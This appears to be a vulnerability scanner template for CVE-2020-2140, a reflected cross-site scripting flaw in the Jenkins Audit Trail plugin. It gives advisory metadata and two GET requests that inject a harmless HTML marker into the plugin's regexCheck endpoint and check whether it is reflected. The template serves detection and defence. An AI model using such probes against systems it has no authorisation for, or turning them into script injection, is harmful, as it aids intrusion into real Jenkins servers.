id: CVE-2020-2140 info: name: Jenkin Audit Trail <=3.2 - Cross-Site Scripting author: j3ssie/geraldino2 severity: medium description: Jenkins Audit Trail 3.2 and earlier does not escape the error message for the URL Patterns field form validation, resulting in a reflected cross-site scripting vulnerability. reference: - https://www.jenkins.io/security/advisory/2020-03-09/ - https://nvd.nist.gov/vuln/detail/CVE-2020-2140 - https://jenkins.io/security/advisory/2020-03-09/#SECURITY-1722 - http://www.openwall.com/lists/oss-security/2020/03/09/1 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2020-2140 cwe-id: CWE-79 cpe: cpe:2.3:a:jenkins:audit_trail:*:*:*:*:*:*:*:* epss-score: 0.00155 tags: cve,cve2020,jenkins,xss,plugin metadata: max-request: 2 http: - method: GET path: - "{{BaseURL}}/descriptorByName/AuditTrailPlugin/regexCheck?value=*j%3Ch1%3Esample" - "{{BaseURL}}/jenkins/descriptorByName/AuditTrailPlugin/regexCheck?value=*j%3Ch1%3Esample" matchers-condition: and matchers: - type: word words: -

sample part: body - type: word words: - "text/html" part: header - type: status status: - 200 # Enhanced by mp on 2022/05/04